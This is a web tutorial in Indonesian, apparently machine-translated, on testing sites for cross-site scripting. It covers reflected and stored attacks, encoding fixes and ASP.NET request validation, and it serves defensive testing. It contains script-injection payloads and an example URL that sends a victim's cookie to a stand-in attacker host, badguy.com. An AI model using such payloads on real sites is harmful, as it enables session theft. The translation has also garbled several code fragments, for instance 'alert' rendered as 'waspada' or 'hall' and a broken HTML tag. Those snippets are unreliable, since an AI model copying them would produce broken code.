Pengujian Keamanan Web XSS
Nama Lengkap XSS (Cross Site Scripting) Serangan skrip lintas situs adalah kerentanan yang paling umum dalam program web. Ini mengacu pada penyerang yang menanamkan skrip klien (seperti JavaScript) ke halaman web. Ketika pengguna menelusuri halaman web ini, skrip akan dieksekusi di browser pengguna, dengan demikian mencapai tujuan penyerang. Misalnya, mendapatkan cookie pengguna, menavigasi ke situs web jahat, membawa Trojan, dll.
Sebagai penguji, Anda perlu memahami prinsip -prinsip XSS, skenario serangan, dan cara memperbaikinya. Hanya dengan mencegah XSS secara efektif.
Konten membaca
Bagaimana XSS Terjadi
Jika ada kotak teks di bawah ini
<input type = "text" name = "address1" value = "value1from">
Value1From adalah input dari pengguna. Jika pengguna tidak memasukkan value1 dari, tetapi masuk "/><script> ,(document.cookie)</script>< !- maka itu akan menjadi akan menjadi
<input type = "text" name = "address1" value = ""/> <script> alert (document.cookie) </script> <!- ">
Kode JavaScript tertanam akan dieksekusi
Atau pengguna memasukkan "onfocus =" alert (document.cookie) maka itu akan menjadi
<input type = "text" name = "address1" value = "" onFocus = "waspada (document.cookie)">
Saat acara dipicu, kode javascript tertanam akan dieksekusi
Kekuatan serangan tergantung pada skrip apa yang dimasukkan pengguna
Tentu saja, data yang dikirimkan oleh pengguna juga dapat dikirim ke server melalui QueryString (ditempatkan di URL) dan cookie. Misalnya, gambar berikut
HTML Encode
XSS terjadi karena data yang dimasukkan oleh pengguna menjadi kode. Jadi kita perlu melakukan pemrosesan HTML Encode pada data yang dimasukkan oleh pengguna. Kode karakter khusus seperti "kurung", "kutipan tunggal", dan "kutipan".
Metode yang sudah tersedia disediakan di C#, cukup hubungi httputility.htmlencode ("String <Scritp>"). (Membutuhkan perakitan System.web)
Fiddler juga menyediakan alat yang sangat nyaman, klik tombol "TextWizard" di toolbar
Skenario serangan XSS
1. Proses serangan kerentanan XSS berbasis DOM adalah sebagai berikut
Tom menemukan kerentanan XSS di halaman di korban.com.
Misalnya: http://victim.com/search.asp?term=apple
Kode halaman pencarian.asp di server kira -kira sebagai berikut
<html> <itement> </iteme> <body> hasil untuk <%request.querystring ("term")%> ... </body> </html>Tom pertama kali membuat situs web http://badguy.com untuk menerima informasi dari "mencuri".
Kemudian Tom membangun URL jahat (sebagai berikut) dan mengirimkannya ke Monica dalam beberapa cara (email, qq)
http://victim.com/search.asp?term= <script> window.open ("http://badguy.com?cookie="+document.cookie) </script>
Monica mengklik URL ini, dan kode JavaScript berbahaya yang tertanam dalam URL akan dieksekusi di browser Monica. Kemudian cookie Monica di situs web korban.com akan dikirim ke situs web Badguy. Dengan cara ini, informasi Monica tentang korban.com dicuri oleh Tom.
2. Tersimpan XSS (kerentanan XSS yang disimpan), jenis ini adalah kerentanan yang banyak digunakan dan dapat mempengaruhi keamanan server web besar. Penyerang mengunggah skrip serangan ke server web, membuat semua pengguna yang mengakses halaman menghadapi kemungkinan kebocoran informasi. Proses serangan adalah sebagai berikut
Alex menemukan kerentanan XSS di situs A yang memungkinkan kode serangan disimpan dalam database.
Alex telah menerbitkan sebuah artikel dengan kode javascript berbahaya yang tertanam di dalamnya.
Ketika orang lain, seperti Monica, ketika mengakses artikel ini, kode JavaScript berbahaya yang tertanam dalam artikel akan dieksekusi di browser Monica, dan cookie sesi atau informasi lain akan dicuri oleh Alex.
Kerentanan XSS berbasis DOM mengancam pengguna individu, sementara kerentanan XSS yang disimpan akan mengancam sejumlah besar pengguna.
Perbaikan Kerentanan XSS
Prinsip: Jangan percaya data yang dimasukkan oleh pelanggan
CATATAN: Kode serangan tidak harus di <script> </script>
Cara menguji kerentanan xss
Metode 1: Lihat kode dan temukan variabel kunci. Klien mengirimkan data ke server web. Secara umum, dalam tiga cara, querystring, bentuk bentuk, dan cookie. Misalnya, dalam program ASP, variabel klien diperoleh melalui objek permintaan.
<%strusercode = request.queryString ("kode"); struser = request.form ("user"); strid = request.cookies ("id");%>Jika variabel tidak diproses oleh htmlencode, maka ada kerentanan XSS dalam variabel ini
Metode 2: Siapkan skrip tes,
"/><script> hall(document.cookie)</script>< !--<script> halrokumen
Di kotak teks atau tempat lain di mana data dapat dimasukkan, masukkan skrip pengujian ini untuk melihat apakah kotak dialog dapat muncul. Jika bisa muncul, itu berarti ada kerentanan XSS
Lihatlah variabel mana yang diteruskan ke server web melalui URL, dan mengembalikan nilai -nilai variabel ini ke skrip pengujian kami. Kemudian lihat apakah skrip kami dapat dieksekusi
Metode 3: Secara otomatis menguji kerentanan XSS
Ada banyak alat pemindaian XSS yang tersedia sekarang. Menerapkan pengujian otomatis XSS sangat sederhana, Anda hanya perlu menggunakan kelas HTTPWebRequest. Letakkan skrip tes XSS. Kirim ke server web. Kemudian periksa apakah skrip pengujian XSS kami telah disuntikkan di httpwebresponse.
Perbedaan antara HTML Encode dan URL Encode
Pada awalnya, saya selalu membingungkan dua hal ini, tetapi sebenarnya mereka adalah dua hal yang berbeda.
Pengkodean HTML telah diperkenalkan sebelumnya. Pengkodean URL adalah untuk mematuhi spesifikasi URL. Karena dalam spesifikasi URL standar, Cina dan banyak karakter tidak diizinkan muncul di URL.
Misalnya, cari "Uji karakter Cina" di Baidu. URL akan menjadi
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&RSV_BP=0&RSV_SPT=3&inputt=7477
Pengkodean URL adalah: Semua karakter non-alfanumerik akan diganti dengan tanda persen (%) diikuti oleh dua angka heksadesimal, dan spasi akan dikodekan sebagai tanda plus (+)
Metode yang sudah tersedia disediakan di C#, cukup hubungi httputility.urlencode ("String <Sritp>"). (Membutuhkan perakitan System.web)
Fiddler juga menyediakan alat yang sangat nyaman, klik tombol "TextWizard" di toolbar
Filter XSS di browser
Untuk mencegah XSS terjadi, banyak produsen browser telah menambahkan mekanisme keamanan ke browser mereka untuk menyaring XSS. Misalnya, IE8, IE9, Firefox, Chrome. Semua memiliki mekanisme keamanan untuk XSS. Browser memblokir XSS. Misalnya, gambar berikut
Jika Anda perlu melakukan tes, yang terbaik adalah menggunakan IE7.
Mekanisme Keamanan XSS di ASP.NET
ASP.NET memiliki mekanisme untuk mencegah XSS. Formulir yang dikirimkan akan secara otomatis memeriksa apakah XSS ada. Ketika pengguna mencoba memasukkan kode XSS, ASP.NET akan melempar kesalahan seperti yang ditunjukkan pada gambar berikut.
Banyak programmer tidak tahu tentang keamanan, dan mereka bahkan tidak tahu bahwa ada XSS. ASP.NET aman secara default pada saat ini. Dengan cara ini, bahkan programmer tanpa kesadaran keamanan dapat menulis "situs web yang lebih aman".
Jika Anda ingin menonaktifkan fitur keamanan ini, Anda dapat menggunakan < %@ page validateRequest = "false" %>
Di atas adalah Tes Keamanan Web XSS. Kami akan terus mengatur materi pengujian perangkat lunak yang relevan di masa depan. Terima kasih atas dukungan Anda untuk situs ini!